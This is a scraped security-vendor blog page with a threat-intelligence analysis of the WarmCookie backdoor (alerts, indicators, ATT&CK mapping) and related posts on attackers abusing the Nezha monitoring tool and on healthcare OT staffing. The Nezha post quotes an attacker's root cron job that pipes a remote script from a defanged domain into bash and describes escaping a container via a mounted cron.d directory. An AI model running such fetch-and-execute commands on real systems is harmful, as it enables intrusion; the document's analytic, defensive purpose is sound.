July 26, 2024

Understanding the WarmCookie Backdoor Threat

Discover effective strategies for disarming the WarmCookie backdoor and securing your systems against this persistent threat.

Written by

Justin Torres

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Torres

Cyber Analyst

Jul 2024

What is WarmCookie malware?

WarmCookie, also known as BadSpace [2], is a two-stage backdoor tool that provides functionality for threat actors to retrieve victim information and launch additional payloads. The malware is primarily distributed via phishing campaigns according to multiple open-source intelligence (OSINT) providers.

Backdoor malware: A backdoor tool is a piece of software used by attackers to gain and maintain unauthorized access to a system. It bypasses standard authentication and security mechanisms, allowing the attacker to control the system remotely.

Two-stage backdoor malware: This means the backdoor operates in two distinct phases:

1. Initial Stage: The first stage involves the initial infection and establishment of a foothold within the victim's system. This stage is often designed to be small and stealthy to avoid detection.‍

2. Secondary Stage: Once the initial stage has successfully compromised the system, it retrieves or activates the second stage payload. This stage provides more advanced functionalities for the attacker, such as extensive data exfiltration, deeper system control, or the deployment of additional malicious payloads.

How does WarmCookie malware work?

Reported attack patterns include emails attempting to impersonate recruitment firms such as PageGroup, Michael Page, and Hays. These emails likely represented social engineering tactics, with attackers attempting to manipulate jobseekers into engaging with the emails and following malicious links embedded within [3].

This backdoor tool also adopts stealth and evasion tactics to avoid the detection of traditional security tools. Reported evasion tactics included custom string decryption algorithms, as well as dynamic API loading to prevent researchers from analyzing and identifying the core functionalities of WarmCookie [1].

Before this backdoor makes an outbound network request, it is known to capture details from the target machine, which can be used for fingerprinting and identification [1], this includes:

- Computer name

- Username

- DNS domain of the machine

- Volume serial number

WarmCookie samples investigated by external researchers were observed communicating over HTTP to a hardcoded IP address using a combination of RC4 and Base64 to protect its network traffic [1]. Ultimately, threat actors could use this backdoor to deploy further malicious payloads on targeted networks, such as ransomware.

Darktrace Coverage of WarmCookie

Between April and June 2024, Darktrace’s Threat Research team investigated suspicious activity across multiple customer networks indicating that threat actors were utilizing the WarmCookie backdoor tool. Observed cases across customer environments all included the download of unusual executable (.exe) files and suspicious outbound connectivity.

Affected devices were all observed making external HTTP requests to the German-based external IP, 185.49.69[.]41, and the URI, /data/2849d40ade47af8edfd4e08352dd2cc8.

The first investigated instance occurred between April 23 and April 24, when Darktrace detected a a series of unusual file download and outbound connectivity on a customer network, indicating successful WarmCookie exploitation. As mentioned by Elastic labs, "The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WarmCookie and run the DLL with the Start export" [1].

Less than a minute later, the same device was observed making HTTP requests to the rare external IP address: 185.49.69[.]41, which had never previously been observed on the network, for the URI /data/b834116823f01aeceed215e592dfcba7. The device then proceeded to download masqueraded executable file from this endpoint. Darktrace recognized that these connections to an unknown endpoint, coupled with the download of a masqueraded file, likely represented malicious activity.

Following this download, the device began beaconing back to the same IP, 185.49.69[.]41, with a large number of external connections observed over port 80. This beaconing related behavior could further indicate malicious software communicating with command-and-control (C2) servers.

Darktrace’s model alert coverage included the following details:

[Model Alert: Device / Unusual BITS Activity]

- Associated device type: desktop

- Time of alert: 2024-04-23T14:10:23 UTC

- ASN: AS28753 Leaseweb Deutschland GmbH

- User agent: Microsoft BITS/7.8

[Model Alert: Anomalous File / EXE from Rare External Location]

[Model Alert: Anomalous File / Masqueraded File Transfer]

- Associated device type: desktop

- Time of alert: 2024-04-23T14:11:18 UTC

- Destination IP: 185.49.69[.]41

- Destination port: 80

- Protocol: TCP

- Application protocol: HTTP

- ASN: AS28753 Leaseweb Deutschland GmbH

- User agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)

- Event details: File: http[:]//185.49.69[.]41/data/b834116823f01aeceed215e592dfcba7, total seen size: 144384B, direction: Incoming

- SHA1 file hash: 4ddf0d9c750bfeaebdacc14152319e21305443ff

- MD5 file hash: b09beb0b584deee198ecd66976e96237

[Model Alert: Compromise / Beaconing Activity To External Rare]

- Associated device type: desktop

- Time of alert: 2024-04-23T14:15:24 UTC

- Destination IP: 185.49.69[.]41

- Destination port: 80

- Protocol: TCP

- Application protocol: HTTP

- ASN: AS28753 Leaseweb Deutschland GmbH

- User agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)

Between May 7 and June 4, Darktrace identified a wide range of suspicious external connectivity on another customer’s environment. Darktrace’s Threat Research team further investigated this activity and assessed it was likely indicative of WarmCookie exploitation on customer devices.

Similar to the initial use case, BITS activity was observed on affected devices, which is utilized to download WarmCookie [1]. This initial behavior was observed with the device after triggering the model: Device / Unusual BITS Activity on May 7.

Just moments later, the same device was observed making HTTP requests to the aforementioned German IP address, 185.49.69[.]41 using the same URI /data/2849d40ade47af8edfd4e08352dd2cc8, before downloading a suspicious executable file.

Just like the first use case, this device followed up this suspicious download with a series of beaconing connections to 185.49.69[.]41, again with a large number of connections via port 80.

Similar outgoing connections to 185.49.69[.]41 and model alerts were observed on additional devices during the same timeframe, indicating that numerous customer devices had been compromised.

Darktrace’s model alert coverage included the following details:

[Model Alert: Device / Unusual BITS Activity]

- Associated device type: desktop

- Time of alert: 2024-05-07T09:03:23 UTC

- ASN: AS28753 Leaseweb Deutschland GmbH

- User agent: Microsoft BITS/7.8

[Model Alert: Anomalous File / EXE from Rare External Location]

[Model Alert: Anomalous File / Masqueraded File Transfer]

- Associated device type: desktop

- Time of alert: 2024-05-07T09:03:35 UTC

- Destination IP: 185.49.69[.]41

- Protocol: TCP

- ASN: AS28753 Leaseweb Deutschland GmbH

- Event details: File: http[:]//185.49.69[.]41/data/2849d40ade47af8edfd4e08352dd2cc8, total seen size: 72704B, direction: Incoming

- SHA1 file hash: 5b0a35c574ee40c4bccb9b0b942f9a9084216816

- MD5 file hash: aa9a73083184e1309431b3c7a3e44427

[Model Alert: Anomalous Connection / New User Agent to IP Without Hostname]

- Associated device type: desktop

- Time of alert: 2024-05-07T09:04:14 UTC

- Destination IP: 185.49.69[.]41

- Application protocol: HTTP

- URI: /data/2849d40ade47af8edfd4e08352dd2cc8

- User agent: Microsoft BITS/7.8

[Model Alert: Compromise / HTTP Beaconing to New Endpoint]

- Associated device type: desktop

- Time of alert: 2024-05-07T09:08:47 UTC

- Destination IP: 185.49.69[.]41

- Protocol: TCP

- Application protocol: HTTP

- ASN: AS28753 Leaseweb Deutschland GmbH

- URI: /

- User agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705) \

Figure 1: Cyber AI Analyst Coverage Details around the external destination, ‘185.49.69[.]41’.

Figure 2: External Sites Summary verifying the geographical location of the external IP, 185.49.69[.]41’.

Fortunately, this particular customer was subscribed to Darktrace’s Proactive Threat Notification (PTN) service and the Darktrace Security Operation Center (SOC) promptly investigated the activity and alerted the customer. This allowed their security team to address the activity and begin their own remediation process.

In this instance, Darktrace’s Autonomous Response capability was configured in Human Confirmation mode, meaning any mitigative actions required manual application by the customer’s security team.

Despite this, Darktrace recommended two actions to contain the activity: blocking connections to the suspicious IP address 185.49.69[.]41 and any IP addresses ending with '69[.]41', as well as the ‘Enforce Pattern of Life’ action. By enforcing a pattern of life, Darktrace can restrict a device (or devices) to its learned behavior, allowing it to continue regular business activities uninterrupted while blocking any deviations from expected activity.

Figure 3: Actions suggested by Darktrace to contain the emerging activity, including blocking connections to the suspicious endpoint and restricting the device to its ‘pattern of life’.

Conclusion

Backdoor tools like WarmCookie enable threat actors to gather and leverage information from target systems to deploy additional malicious payloads, escalating their cyber attacks. Given that WarmCookie’s primary distribution method seems to be through phishing campaigns masquerading as trusted recruitments firms, it has the potential to affect a large number of organizations.

In the face of such threats, Darktrace’s behavioral analysis provides organizations with full visibility over anomalous activity on their digital estates, regardless of whether the threat bypasses by human security teams or email security tools. While threat actors seemingly managed to evade customers’ native email security and gain access to their networks in these cases, Darktrace identified the suspicious behavior associated with WarmCookie and swiftly notified customer security teams.

Had Darktrace’s Autonomous Response capability been fully enabled in these cases, it could have blocked any suspicious connections and subsequent activity in real-time, without the need of human intervention, effectively containing the attacks in the first instance.

Credit to Justin Torres, Cyber Security Analyst and Dylan Hinz, Senior Cyber Security Analyst

Appendices

Darktrace Model Detections

- Anomalous File / EXE from Rare External Location

- Anomalous File / Masqueraded File Transfer

- Compromise / Beacon to Young Endpoint

- Compromise / Beaconing Activity To External Rare

- Compromise / HTTP Beaconing to New Endpoint

- Compromise / HTTP Beaconing to Rare Destination

- Compromise / High Volume of Connections with Beacon Score

- Compromise / Large Number of Suspicious Successful Connections

- Compromise / Quick and Regular Windows HTTP Beaconing

- Compromise / SSL or HTTP Beacon

- Compromise / Slow Beaconing Activity To External Rare

- Compromise / Sustained SSL or HTTP Increase

- Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

- Anomalous Connection / Multiple Failed Connections to Rare Endpoint

- Anomalous Connection / New User Agent to IP Without Hostname

- Compromise / Sustained SSL or HTTP Increase

AI Analyst Incident Coverage:

- Unusual Repeated Connections

- Possible SSL Command and Control to Multiple Endpoints

- Possible HTTP Command and Control

- Suspicious File Download

Darktrace RESPOND Model Detections:

- Antigena / Network / External Threat / Antigena Suspicious File Block

- Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

List of IoCs

IoC - Type - Description + Confidence

185.49.69[.]41 – IP Address – WarmCookie C2 Endpoint

/data/2849d40ade47af8edfd4e08352dd2cc8 – URI – Likely WarmCookie URI

/data/b834116823f01aeceed215e592dfcba7 – URI – Likely WarmCookie URI

4ddf0d9c750bfeaebdacc14152319e21305443ff - SHA1 Hash – Possible Malicious File

5b0a35c574ee40c4bccb9b0b942f9a9084216816 - SHA1 Hash – Possiblem Malicious File

MITRE ATT&CK Mapping

(Technique Name) – (Tactic) – (ID) – (Sub-Technique of)

Drive-by Compromise - INITIAL ACCESS - T1189

Ingress Tool Transfer - COMMAND AND CONTROL - T1105

Malware - RESOURCE DEVELOPMENT - T1588.001 - T1588

Lateral Tool Transfer - LATERAL MOVEMENT - T1570

Web Protocols - COMMAND AND CONTROL - T1071.001 - T1071

Web Services - RESOURCE DEVELOPMENT - T1583.006 - T1583

Browser Extensions - PERSISTENCE - T1176

Application Layer Protocol - COMMAND AND CONTROL - T1071

Fallback Channels - COMMAND AND CONTROL - T1008

Multi-Stage Channels - COMMAND AND CONTROL - T1104

Non-Standard Port - COMMAND AND CONTROL - T1571

One-Way Communication - COMMAND AND CONTROL - T1102.003 - T1102

Encrypted Channel - COMMAND AND CONTROL - T1573

External Proxy - COMMAND AND CONTROL - T1090.002 - T1090

Non-Application Layer Protocol - COMMAND AND CONTROL - T1095

References

[1] https://www.elastic.co/security-labs/dipping-into-danger

[2] https://www.gdatasoftware.com/blog/2024/06/37947-badspace-backdoor

[3] https://thehackernews.com/2024/06/new-phishing-campaign-deploys.html

Written by

Justin Torres

Cyber Analyst

Inside the SOC

Written by

Justin Torres

Cyber Analyst

Malware Research Engineer

•

June 9, 2026

Daniel Simonds

Director of Operational Technology

Watch the NIS2 Webinar

Blog

Network

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

*Figure 1: The malicious container create command.*

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

*Figure 3: The attacker’s Nezha dashboard.*

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible. The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

About the author

Nathaniel Bill

Malware Research Engineer

Blog

OT

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors. 

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

‍

[related-resource]

About the author

Daniel Simonds

Director of Operational Technology

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: Understanding the WarmCookie Backdoor Threat

Understanding the WarmCookie Backdoor Threat

What is WarmCookie malware?

How does WarmCookie malware work?

Darktrace Coverage of WarmCookie

Conclusion

Appendices

List of IoCs

MITRE ATT&CK Mapping

References

How Attackers Abuse the Chinese Nezha Monitoring Tool

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Enjoying the blog?

More in this series

How Attackers Abuse the Chinese Nezha Monitoring Tool

Darktrace named a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) For the Second Consecutive Year

When Open Source Is Weaponized: Analysis of a Trojanized 7 Zip Installer

Blog

Network

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

What is Nezha?

Darktrace’s analysis of a Nezha infection

Open by design

Key takeaways

Blog

OT

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

Rethinking the healthcare attack surface

The OT cybersecurity expertise gap in healthcare organizations

What these findings reveal

Why OT cybersecurity expertise can be effective for healthcare organizations

What can healthcare organizations do to secure their OT